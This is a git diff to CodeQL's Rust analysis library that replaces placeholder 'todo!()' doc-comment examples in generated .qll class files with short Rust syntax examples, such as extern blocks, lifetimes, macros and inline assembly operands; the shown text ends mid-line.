a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll index 823bf4173c4..9b769440bd3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternBlock.qll @@ -17,9 +17,13 @@ import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl */ module Generated { /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` * INTERNAL: Do not reference the `Generated::ExternBlock` class directly. * Use the subclass `ExternBlock`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll index f32f50b89d1..3484139b9fc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll @@ -18,9 +18,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` * INTERNAL: Do not reference the `Generated::ExternCrate` class directly. * Use the subclass `ExternCrate`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll index 8756b707608..09c6ed3bdeb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItem.qll @@ -14,9 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` * INTERNAL: Do not reference the `Generated::ExternItem` class directly. * Use the subclass `ExternItem`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll index bffae8deb81..250fe549b52 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternItemList.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.ExternItem */ module Generated { /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` * INTERNAL: Do not reference the `Generated::ExternItemList` class directly. * Use the subclass `ExternItemList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll index 8e8570c3eeb..caff5c62439 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll @@ -14,9 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::FieldList` class directly. * Use the subclass `FieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll index ebdbe7e772f..c250406e68c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::FnPtrTypeRepr` class directly. * Use the subclass `FnPtrTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll index 1804f3c7058..6089b1b73ba 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll @@ -17,9 +17,13 @@ import codeql.rust.elements.Pat */ module Generated { /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` * INTERNAL: Do not reference the `Generated::ForExpr` class directly. * Use the subclass `ForExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll index 6f539d1e7f2..cbe2975bf50 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll @@ -16,9 +16,17 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound. + * + * For example: * ```rust - * todo!() + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::ForTypeRepr` class directly. * Use the subclass `ForTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll index 05227971de1..87987257248 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::GenericArg` class directly. * Use the subclass `GenericArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll index 56532c2a85e..a3a363c17bb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` * INTERNAL: Do not reference the `Generated::GenericParam` class directly. * Use the subclass `GenericParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll index 65b4a330b94..ad307cb177f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll @@ -20,9 +20,13 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` * INTERNAL: Do not reference the `Generated::Impl` class directly. * Use the subclass `Impl`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll index ab4d36247e0..01ee54612c3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ImplTraitTypeRepr` class directly. * Use the subclass `ImplTraitTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll index a4e874d3a9a..780cc9a4b07 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` * INTERNAL: Do not reference the `Generated::InferTypeRepr` class directly. * Use the subclass `InferTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll index eaf0607c5d9..bf360984e08 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.StmtImpl::Impl as StmtImpl */ module Generated { /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` * INTERNAL: Do not reference the `Generated::Item` class directly. * Use the subclass `Item`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll index 7205dbc6bef..5d470ac9a77 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.Item */ module Generated { /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` * INTERNAL: Do not reference the `Generated::ItemList` class directly. * Use the subclass `ItemList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll index 69c89f1b3b5..442a4483c4b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll @@ -15,9 +15,14 @@ import codeql.rust.elements.BlockExpr */ module Generated { /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::LetElse` class directly. * Use the subclass `LetElse`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll index 2819e6fc403..9652d460b9e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.UseBoundGenericArgImpl::Impl as UseBoundGen */ module Generated { /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` * INTERNAL: Do not reference the `Generated::Lifetime` class directly. * Use the subclass `Lifetime`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll index 38f66b06f2f..7ae2873fa60 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Lifetime */ module Generated { /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * let text: Text<'a>; + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeArg` class directly. * Use the subclass `LifetimeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll index 7bf2d05b086..a293bfd5427 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.TypeBoundList */ module Generated { /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeParam` class directly. * Use the subclass `LifetimeParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll index 6aea6ebfd8b..94b9c13e789 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.TokenTree */ module Generated { /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` * INTERNAL: Do not reference the `Generated::MacroCall` class directly. * Use the subclass `MacroCall`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll index 8f4b7e0d8a4..b10858d0685 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll @@ -18,9 +18,13 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A MacroDef. For example: + * A Rust 2.0 style declarative macro definition. + * + * For example: * ```rust - * todo!() + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] + * } * ``` * INTERNAL: Do not reference the `Generated::MacroDef` class directly. * Use the subclass `MacroDef`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll index 2a986228abd..60e6ae6708e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll @@ -15,9 +15,11 @@ import codeql.rust.elements.MacroCall */ module Generated { /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` * INTERNAL: Do not reference the `Generated::MacroExpr` class directly. * Use the subclass `MacroExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll index cddbc98a799..e967082bc77 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll @@ -15,9 +15,20 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` * INTERNAL: Do not reference the `Generated::MacroPat` class directly. * Use the subclass `MacroPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll index 0ca35704921..d7c915a9363 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll @@ -18,9 +18,13 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` * INTERNAL: Do not reference the `Generated::MacroRules` class directly. * Use the subclass `MacroRules`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll index 8664ef91110..e6b901ba3d9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll @@ -15,9 +15,15 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * macro_rules! macro_type { + * () => { i32 }; + * } + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MacroTypeRepr` class directly. * Use the subclass `MacroTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll index 37658ce922f..b3b97b7a175 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll @@ -16,9 +16,16 @@ import codeql.rust.elements.MatchArm */ module Generated { /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MatchArmList` class directly. * Use the subclass `MatchArmList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll index 193a85eaa11..b0b52879f52 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll @@ -15,9 +15,15 @@ import codeql.rust.elements.Expr */ module Generated { /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` * INTERNAL: Do not reference the `Generated::MatchGuard` class directly. * Use the subclass `MatchGuard`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll index 9f4252af309..27e6c03a328 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll @@ -17,9 +17,17 @@ import codeql.rust.elements.TokenTree */ module Generated { /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::Meta` class directly. * Use the subclass `Meta`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll index bffcfbdba6f..115ae6afaea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::Name` class directly. * Use the subclass `Name`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll index bf690fae0a4..f22dbdf5e22 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.UseBoundGenericArgImpl::Impl as UseBoundGen */ module Generated { /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` * INTERNAL: Do not reference the `Generated::NameRef` class directly. * Use the subclass `NameRef`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll index 54d2ecf8a04..6da319c83f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` * INTERNAL: Do not reference the `Generated::NeverTypeRepr` class directly. * Use the subclass `NeverTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll index e09cc06cdee..1e13899b9a5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.SelfParam */ module Generated { /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParamList` class directly. * Use the subclass `ParamList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll index 5ad83f994ff..560398ca7f2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll @@ -16,9 +16,11 @@ import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl */ module Generated { /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) * ``` * INTERNAL: Do not reference the `Generated::ParenExpr` class directly. * Use the subclass `ParenExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll index 7ba7741583c..ddf678e2447 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenPat` class directly. * Use the subclass `ParenPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll index 1ebed2ef11a..b174f19a1a0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenTypeRepr` class directly. * Use the subclass `ParenTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll index 24c4fd531ec..6057a7eb326 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll @@ -15,6 +15,18 @@ import codeql.rust.elements.TypeArg */ module Generated { /** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` * INTERNAL: Do not reference the `Generated::ParenthesizedArgList` class directly. * Use the subclass `ParenthesizedArgList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll index d26bfbb8d5a..dd831902b99 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll @@ -22,6 +22,12 @@ import codeql.rust.elements.TypeRepr module Generated { /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` * INTERNAL: Do not reference the `Generated::PathSegment` class directly. * Use the subclass `PathSegment`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll index 8195ded45ee..7fa652459f7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll @@ -15,7 +15,7 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust * type X = std::collections::HashMap; * type Y = X::Item; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll index 609c8d258c4..34c116a037e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll @@ -15,9 +15,13 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::PtrTypeRepr` class directly. * Use the subclass `PtrTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index 03cf3710fad..503691bb83b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -115,9 +115,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ class Abi extends @abi, AstNode { @@ -155,9 +158,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ class ArgList extends @arg_list, AstNode { @@ -171,6 +177,14 @@ module Raw { /** * INTERNAL: Do not use. + * An inline assembly direction specifier. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ + * ``` */ class AsmDirSpec extends @asm_dir_spec, AstNode { override string toString() { result = "AsmDirSpec" } @@ -183,6 +197,14 @@ module Raw { /** * INTERNAL: Do not use. + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` */ class AsmOperandExpr extends @asm_operand_expr, AstNode { override string toString() { result = "AsmOperandExpr" } @@ -200,6 +222,14 @@ module Raw { /** * INTERNAL: Do not use. + * An option in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, 